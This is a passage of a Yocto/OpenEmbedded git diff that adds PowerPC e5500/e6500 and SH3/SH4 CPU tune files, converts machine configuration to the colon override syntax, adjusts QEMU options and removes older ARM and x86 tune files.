new file mode 100644
index 0000000000..2cf7b1737c
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
@@ -0,0 +1,23 @@
+DEFAULTTUNE ?= "ppce5500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
+
+AVAILTUNES += "ppce5500 ppc64e5500"
+TUNE_FEATURES:tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppce5500 = "lib"
+TUNE_PKGARCH:tune-ppce5500 = "ppce5500"
+PACKAGE_EXTRA_ARCHS:tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce5500"
+
+TUNE_FEATURES:tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppc64e5500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e5500 = "ppc64e5500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e5500"
+
+# glibc configure options to get e5500 specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'e5500', '--with-cpu=e5500', '', d)}"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce6500.inc b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
new file mode 100644
index 0000000000..e78de350ad
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppce6500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
+
+AVAILTUNES += "ppce6500 ppc64e6500"
+TUNE_FEATURES:tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppce6500 = "lib"
+TUNE_PKGARCH:tune-ppce6500 = "ppce6500"
+PACKAGE_EXTRA_ARCHS:tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce6500"
+
+TUNE_FEATURES:tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppc64e6500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e6500 = "ppc64e6500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e6500"
+
+# glibc configure options to get e6500 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/qemu.inc b/meta/conf/machine/include/qemu.inc
index 8dedb1a42d..0d71bcbbad 100644
--- a/meta/conf/machine/include/qemu.inc
+++ b/meta/conf/machine/include/qemu.inc
@@ -3,6 +3,7 @@ PREFERRED_PROVIDER_virtual/egl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
XSERVER ?= "xserver-xorg \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-swrast xserver-xorg-extension-glx', '', d)} \
@@ -16,15 +17,15 @@ MACHINEOVERRIDES =. "qemuall:"
IMAGE_FSTYPES += "tar.bz2 ext4"
# Don't include kernels in standard images
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base = ""
+RDEPENDS:${KERNEL_PACKAGE_NAME}-base = ""
# Use a common kernel recipe for all QEMU machines
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-EXTRA_IMAGEDEPENDS += "qemu-native qemu-helper-native"
+EXTRA_IMAGEDEPENDS += "qemu-system-native qemu-helper-native:do_addto_recipe_sysroot"
# Provide the nfs server kernel module for all qemu images
-KERNEL_FEATURES_append_pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
-KERNEL_FEATURES_append_pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
IMAGE_CLASSES += "qemuboot"
diff --git a/meta/conf/machine/include/qemuboot-x86.inc b/meta/conf/machine/include/qemuboot-x86.inc
deleted file mode 100644
index 2a4760c717..0000000000
--- a/meta/conf/machine/include/qemuboot-x86.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-# For runqemu
-IMAGE_CLASSES += "qemuboot"
-QB_CPU_x86 = "-cpu core2duo"
-QB_CPU_KVM_x86 = "-cpu core2duo"
-
-QB_CPU_x86-64 = "-cpu core2duo"
-QB_CPU_KVM_x86-64 = "-cpu core2duo"
-
-QB_AUDIO_DRV = "alsa"
-QB_AUDIO_OPT = "-soundhw ac97,es1370"
-QB_KERNEL_CMDLINE_APPEND = "oprofile.timer=1"
-QB_OPT_APPEND = "-usb -device usb-tablet"
-
diff --git a/meta/conf/machine/include/riscv/arch-riscv.inc b/meta/conf/machine/include/riscv/arch-riscv.inc
index eae2b88778..e5611a12a6 100644
--- a/meta/conf/machine/include/riscv/arch-riscv.inc
+++ b/meta/conf/machine/include/riscv/arch-riscv.inc
@@ -2,12 +2,12 @@
DEFAULTTUNE ?= "riscv64"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
-TUNE_CCARGS_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nf', ' -mabi=lp64', ' ', d)}"
-TUNE_CCARGS_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32nf', ' -mabi=ilp32', ' ', d)}"
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nf', ' -mabi=lp64', ' ', d)}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32nf', ' -mabi=ilp32', ' ', d)}"
# Fix: ld: unrecognized option '--hash-style=sysv'
-LINKER_HASH_STYLE_libc-newlib = ""
+LINKER_HASH_STYLE:libc-newlib = ""
# Fix: ld: unrecognized option '--hash-style=gnu'
-LINKER_HASH_STYLE_libc-baremetal = ""
+LINKER_HASH_STYLE:libc-baremetal = ""
diff --git a/meta/conf/machine/include/riscv/qemuriscv.inc b/meta/conf/machine/include/riscv/qemuriscv.inc
index 0e88c91aa6..14eaf5d64a 100644
--- a/meta/conf/machine/include/riscv/qemuriscv.inc
+++ b/meta/conf/machine/include/riscv/qemuriscv.inc
@@ -10,6 +10,7 @@ KERNEL_IMAGETYPES += "uImage"
KEEPUIMAGE = "no"
SERIAL_CONSOLES ?= "115200;ttyS0 115200;hvc0"
+SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
IMAGE_FSTYPES += "ext4 wic.qcow2"
@@ -21,10 +22,11 @@ EXTRA_IMAGEDEPENDS += "opensbi"
RISCV_SBI_PLAT ?= "generic"
RISCV_SBI_PAYLOAD ?= "${KERNEL_IMAGETYPE}-${MACHINE}.bin"
-UBOOT_ENTRYPOINT_riscv32 = "0x80400000"
-UBOOT_ENTRYPOINT_riscv64 = "0x80200000"
+UBOOT_ENTRYPOINT:riscv32 = "0x80400000"
+UBOOT_ENTRYPOINT:riscv64 = "0x80200000"
# qemuboot options
+QB_SMP = "-smp 4"
QB_KERNEL_CMDLINE_APPEND = "earlycon=sbi"
QB_MACHINE = "-machine virt"
QB_DEFAULT_BIOS = "fw_jump.elf"
@@ -33,3 +35,5 @@ QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
QB_TCPSERIAL_OPT = " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
+QB_GRAPHICS = "-device bochs-display"
+QB_OPT_APPEND = "-device virtio-mouse-pci -device virtio-keyboard-pci"
diff --git a/meta/conf/machine/include/riscv/tune-riscv.inc b/meta/conf/machine/include/riscv/tune-riscv.inc
index 028548bf56..cc2896f277 100644
--- a/meta/conf/machine/include/riscv/tune-riscv.inc
+++ b/meta/conf/machine/include/riscv/tune-riscv.inc
@@ -11,23 +11,23 @@ TUNEVALID[bigendian] = "Big endian mode"
AVAILTUNES += "riscv64 riscv32 riscv64nf riscv32nf"
# Default
-TUNE_FEATURES_tune-riscv64 = "riscv64"
-TUNE_ARCH_tune-riscv64 = "riscv64"
-TUNE_PKGARCH_tune-riscv64 = "riscv64"
-PACKAGE_EXTRA_ARCHS_tune-riscv64 = "riscv64"
+TUNE_FEATURES:tune-riscv64 = "riscv64"
+TUNE_ARCH:tune-riscv64 = "riscv64"
+TUNE_PKGARCH:tune-riscv64 = "riscv64"
+PACKAGE_EXTRA_ARCHS:tune-riscv64 = "riscv64"
-TUNE_FEATURES_tune-riscv32 = "riscv32"
-TUNE_ARCH_tune-riscv32 = "riscv32"
-TUNE_PKGARCH_tune-riscv32 = "riscv32"
-PACKAGE_EXTRA_ARCHS_tune-riscv32 = "riscv32"
+TUNE_FEATURES:tune-riscv32 = "riscv32"
+TUNE_ARCH:tune-riscv32 = "riscv32"
+TUNE_PKGARCH:tune-riscv32 = "riscv32"
+PACKAGE_EXTRA_ARCHS:tune-riscv32 = "riscv32"
# No float
-TUNE_FEATURES_tune-riscv64nf = "${TUNE_FEATURES_tune-riscv64} riscv64nf"
-TUNE_ARCH_tune-riscv64nf = "riscv64"
-TUNE_PKGARCH_tune-riscv64nf = "riscv64nf"
-PACKAGE_EXTRA_ARCHS_tune-riscv64nf = "riscv64nf"
-
-TUNE_FEATURES_tune-riscv32nf = "${TUNE_FEATURES_tune-riscv32} riscv32nf"
-TUNE_ARCH_tune-riscv32nf = "riscv32"
-TUNE_PKGARCH_tune-riscv32nf = "riscv32nf"
-PACKAGE_EXTRA_ARCHS_tune-riscv32nf = "riscv32nf"
+TUNE_FEATURES:tune-riscv64nf = "${TUNE_FEATURES:tune-riscv64} riscv64nf"
+TUNE_ARCH:tune-riscv64nf = "riscv64"
+TUNE_PKGARCH:tune-riscv64nf = "riscv64nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv64nf = "riscv64nf"
+
+TUNE_FEATURES:tune-riscv32nf = "${TUNE_FEATURES:tune-riscv32} riscv32nf"
+TUNE_ARCH:tune-riscv32nf = "riscv32"
+TUNE_PKGARCH:tune-riscv32nf = "riscv32nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv32nf = "riscv32nf"
diff --git a/meta/conf/machine/include/sh/README b/meta/conf/machine/include/sh/README
index b351acdd28..87d48b927b 100644
--- a/meta/conf/machine/include/sh/README
+++ b/meta/conf/machine/include/sh/README
@@ -5,7 +5,7 @@ Both big endian and little endian are defined for SH.
Experimental -- SH tunings have not been validated.
-The TUNE_ARCH is defined as ${TUNE_ARCH_tune-${DEFAULTTUNE}}.
+The TUNE_ARCH is defined as ${TUNE_ARCH:tune-${DEFAULTTUNE}}.
-The TUNE_PKGARCH is defind as ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}.
+The TUNE_PKGARCH is defind as ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}.
diff --git a/meta/conf/machine/include/sh/arch-sh.inc b/meta/conf/machine/include/sh/arch-sh.inc
index bdfbf52ca1..9d70e8511d 100644
--- a/meta/conf/machine/include/sh/arch-sh.inc
+++ b/meta/conf/machine/include/sh/arch-sh.inc
@@ -2,8 +2,8 @@
DEFAULTTUNE ?= "sh"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
TUNEVALID[bigendian] = "Enabled big-endian mode."
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', ' -mb', ' -ml', d)}"
diff --git a/meta/conf/machine/include/sh/tune-sh3.inc b/meta/conf/machine/include/sh/tune-sh3.inc
new file mode 100644
index 0000000000..77d0b71fc4
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh3.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "sh3"
+
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh3] = "Enable SH3 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
+
+AVAILTUNES += "sh3 sh3eb"
+TUNE_FEATURES:tune-sh3 = "sh3"
+TUNE_ARCH:tune-sh3 = "sh3"
+TUNE_PKGARCH:tune-sh3 = "sh3"
+PACKAGE_EXTRA_ARCHS:tune-sh3 = "sh sh3"
+
+TUNE_FEATURES:tune-sh3eb = "sh3 bigendian"
+TUNE_ARCH:tune-sh3eb = "sh3eb"
+TUNE_PKGARCH:tune-sh3eb = "sh3eb"
+PACKAGE_EXTRA_ARCHS:tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/sh/tune-sh4.inc b/meta/conf/machine/include/sh/tune-sh4.inc
new file mode 100644
index 0000000000..b4893a4748
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh4.inc
@@ -0,0 +1,34 @@
+DEFAULTTUNE ?= "sh4"
+
+# Pull in sh4 for compatibility...
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh4] = "Enable SH4 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
+
+# NOTE: If you want to optimize to sh4a, conf/machine/include/sh/tune-sh4a.inc.
+# But it is not compatible for sh4.
+# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
+TUNEVALID[sh4a] = "Enable SH4a optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
+
+AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
+TUNE_FEATURES:tune-sh4 = "sh4"
+TUNE_ARCH:tune-sh4 = "sh4"
+TUNE_PKGARCH:tune-sh4 = "sh4"
+PACKAGE_EXTRA_ARCHS:tune-sh4 = "sh sh4"
+
+TUNE_FEATURES:tune-sh4eb = "sh4 bigendian"
+TUNE_ARCH:tune-sh4eb = "sh4eb"
+TUNE_PKGARCH:tune-sh4eb = "sh4eb"
+PACKAGE_EXTRA_ARCHS:tune-sh4eb = "sheb sh4eb"
+
+TUNE_FEATURES:tune-sh4a = "sh4a"
+TUNE_ARCH:tune-sh4a = "sh4"
+TUNE_PKGARCH:tune-sh4a = "sh4a"
+PACKAGE_EXTRA_ARCHS:tune-sh4a = "sh sh4 sh4a"
+
+TUNE_FEATURES:tune-sh4aeb = "sh4a bigendian"
+TUNE_ARCH:tune-sh4aeb = "sh4eb"
+TUNE_PKGARCH:tune-sh4aeb = "sh4aeb"
+PACKAGE_EXTRA_ARCHS:tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-arm1136jf-s.inc b/meta/conf/machine/include/tune-arm1136jf-s.inc
deleted file mode 100644
index 2bb8c7c154..0000000000
--- a/meta/conf/machine/include/tune-arm1136jf-s.inc
+++ /dev/null
@@ -1,16 +0,0 @@
-DEFAULTTUNE ?= "armv6hf"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '', d)}"
-
-AVAILTUNES += "arm1136jfs arm1136jfshf"
-ARMPKGARCH_tune-arm1136jfs = "arm1136jfs"
-ARMPKGARCH_tune-arm1136jfshf = "arm1136jfs"
-# mcpu is used so don't use armv6 as we don't want march
-TUNE_FEATURES_tune-arm1136jfs = "arm vfp arm1136jfs"
-TUNE_FEATURES_tune-arm1136jfshf = "${TUNE_FEATURES_tune-arm1136jfs} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS_tune-armv6} arm1136jfs-vfp"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/tune-arm1176jz-s.inc b/meta/conf/machine/include/tune-arm1176jz-s.inc
deleted file mode 100644
index a74781f5e6..0000000000
--- a/meta/conf/machine/include/tune-arm1176jz-s.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "arm1176jzs"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '', d)}"
-
-AVAILTUNES += "arm1176jzs"
-ARMPKGARCH_tune-arm1176jzs = "arm1176jzs"
-TUNE_FEATURES_tune-arm1176jzs = "arm thumb arm1176jzs"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS_tune-armv6t-novfp} arm1176jzs arm1176jzst"
-
-AVAILTUNES += "arm1176jzs-be"
-ARMPKGARCH_tune-arm1176jzs-be = "${ARMPKGARCH_tune-arm1176jzs}"
-TUNE_FEATURES_tune-arm1176jzs-be = "${TUNE_FEATURES_tune-arm1176jzs} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/tune-arm920t.inc b/meta/conf/machine/include/tune-arm920t.inc
deleted file mode 100644
index 62a1a7e858..0000000000
--- a/meta/conf/machine/include/tune-arm920t.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '', d)}"
-
-AVAILTUNES += "arm920t"
-ARMPKGARCH_tune-arm920t = "arm920t"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm920t = "arm thumb arm920t"
-PACKAGE_EXTRA_ARCHS_tune-arm920t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/tune-arm926ejs.inc b/meta/conf/machine/include/tune-arm926ejs.inc
deleted file mode 100644
index 5f090ba2f8..0000000000
--- a/meta/conf/machine/include/tune-arm926ejs.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '', d)}"
-
-AVAILTUNES += "arm926ejs"
-ARMPKGARCH_tune-arm926ejs = "arm926ejs"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-arm926ejs = "arm thumb dsp arm926ejs"
-PACKAGE_EXTRA_ARCHS_tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/tune-arm9tdmi.inc b/meta/conf/machine/include/tune-arm9tdmi.inc
deleted file mode 100644
index 8a46f8e5df..0000000000
--- a/meta/conf/machine/include/tune-arm9tdmi.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '', d)}"
-
-AVAILTUNES += "arm9tdmi"
-ARMPKGARCH_tune-arm9tdmi = "arm9tdmi"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm9tdmi = "arm thumb arm9tdmi"
-PACKAGE_EXTRA_ARCHS_tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm9tdmi arm9tdmit"
diff --git a/meta/conf/machine/include/tune-atom.inc b/meta/conf/machine/include/tune-atom.inc
deleted file mode 100644
index 5e1bb74c6c..0000000000
--- a/meta/conf/machine/include/tune-atom.inc
+++ /dev/null
@@ -1,2 +0,0 @@
-# Atom tunings are the same as core2 for now...
-require conf/machine/include/tune-core2.inc
diff --git a/meta/conf/machine/include/tune-c3.inc b/meta/conf/machine/include/tune-c3.inc
deleted file mode 100644
index 1b272b2505..0000000000
--- a/meta/conf/machine/include/tune-c3.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-require conf/machine/include/x86/arch-x86.inc
-
-TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
-TUNECONFLICTS[c3] = "m64 mx32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
-
-AVAILTUNES += "c3"
-TUNE_FEATURES_tune-c3 = "${TUNE_FEATURES_tune-x86} c3"
-BASE_LIBS_tune-c3 = "${BASE_LIB_tune-x86}"
-# The following should likely be something other then i586...
-TUNE_PKGARCH_tune-c3 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-c3 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/tune-core2.inc b/meta/conf/machine/include/tune-core2.inc
deleted file mode 100644
index ddde719bde..0000000000
--- a/meta/conf/machine/include/tune-core2.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "core2":
-#
-# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
-# instruction set support.
-#
-# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
-# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
-#
-DEFAULTTUNE ?= "core2-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i686.inc
-
-# Extra tune features
-TUNEVALID[core2] = "Enable core2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "core2-32"
-TUNE_FEATURES_tune-core2-32 = "${TUNE_FEATURES_tune-x86} core2"
-BASE_LIB_tune-core2-32 = "lib"
-TUNE_PKGARCH_tune-core2-32 = "core2-32"
-PACKAGE_EXTRA_ARCHS_tune-core2-32 = "${PACKAGE_EXTRA_ARCHS_tune-i686} core2-32"
-QEMU_EXTRAOPTIONS_core2-32 = " -cpu n270"
-
-AVAILTUNES += "core2-64"
-TUNE_FEATURES_tune-core2-64 = "${TUNE_FEATURES_tune-x86-64} core2"
-BASE_LIB_tune-core2-64 = "lib64"
-TUNE_PKGARCH_tune-core2-64 = "core2-64"
-PACKAGE_EXTRA_ARCHS_tune-core2-64 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64} core2-64"
-QEMU_EXTRAOPTIONS_core2-64 = " -cpu core2duo"
-
-AVAILTUNES += "core2-64-x32"
-TUNE_FEATURES_tune-core2-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} core2"
-BASE_LIB_tune-core2-64-x32 = "libx32"
-TUNE_PKGARCH_tune-core2-64-x32 = "core2-64-x32"
-PACKAGE_EXTRA_ARCHS_tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64-x32} core2-64-x32"
-QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu core2duo"
diff --git a/meta/conf/machine/include/tune-corei7.inc b/meta/conf/machine/include/tune-corei7.inc
deleted file mode 100644
index d06af47b86..0000000000
--- a/meta/conf/machine/include/tune-corei7.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "nehalem":
-#
-# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
-# SSE4.2 and POPCNT instruction set support.
-#
-# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
-# (and beyond).
-#
-DEFAULTTUNE ?= "corei7-64"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-core2.inc
-
-# Extra tune features
-TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "corei7-32"
-TUNE_FEATURES_tune-corei7-32 = "${TUNE_FEATURES_tune-x86} corei7"
-BASE_LIB_tune-corei7-32 = "lib"
-TUNE_PKGARCH_tune-corei7-32 = "corei7-32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-32} corei7-32"
-QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64"
-TUNE_FEATURES_tune-corei7-64 = "${TUNE_FEATURES_tune-x86-64} corei7"
-BASE_LIB_tune-corei7-64 = "lib64"
-TUNE_PKGARCH_tune-corei7-64 = "corei7-64"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64} corei7-64"
-QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64-x32"
-TUNE_FEATURES_tune-corei7-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} corei7"
-BASE_LIB_tune-corei7-64-x32 = "libx32"
-TUNE_PKGARCH_tune-corei7-64-x32 = "corei7-64-x32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64-x32} corei7-64-x32"
-QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/tune-cortex-m0.inc b/meta/conf/machine/include/tune-cortex-m0.inc
deleted file mode 100644
index a59c8af941..0000000000
--- a/meta/conf/machine/include/tune-cortex-m0.inc
+++ /dev/null
@@ -1,11 +0,0 @@
-DEFAULTTUNE ?= "cortexm0"
-require conf/machine/include/arm/arch-armv6m.inc
-
-TUNEVALID[cortexm0] = "Enable Cortex-M0 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0', ' -mcpu=cortex-m0', '', d)}"
-AVAILTUNES += "cortexm0"
-
-ARMPKGARCH_tune-cortexm0 = "cortexm0"
-TUNE_FEATURES_tune-cortexm0 = "${TUNE_FEATURES_tune-armv6m} cortexm0"
-
-PACKAGE_EXTRA_ARCHS_tune-cortexm0 = "${PACKAGE_EXTRA_ARCHS_tune-armv6m} cortexm0"
diff --git a/meta/conf/machine/include/tune-cortex-m0plus.inc b/meta/conf/machine/include/tune-cortex-m0plus.inc
deleted file mode 100644
index 1c7512b061..0000000000
--- a/meta/conf/machine/include/tune-cortex-m0plus.inc
+++ /dev/null
@@ -1,11 +0,0 @@
-DEFAULTTUNE ?= "cortexm0-plus"
-require conf/machine/include/arm/arch-armv6m.inc
-
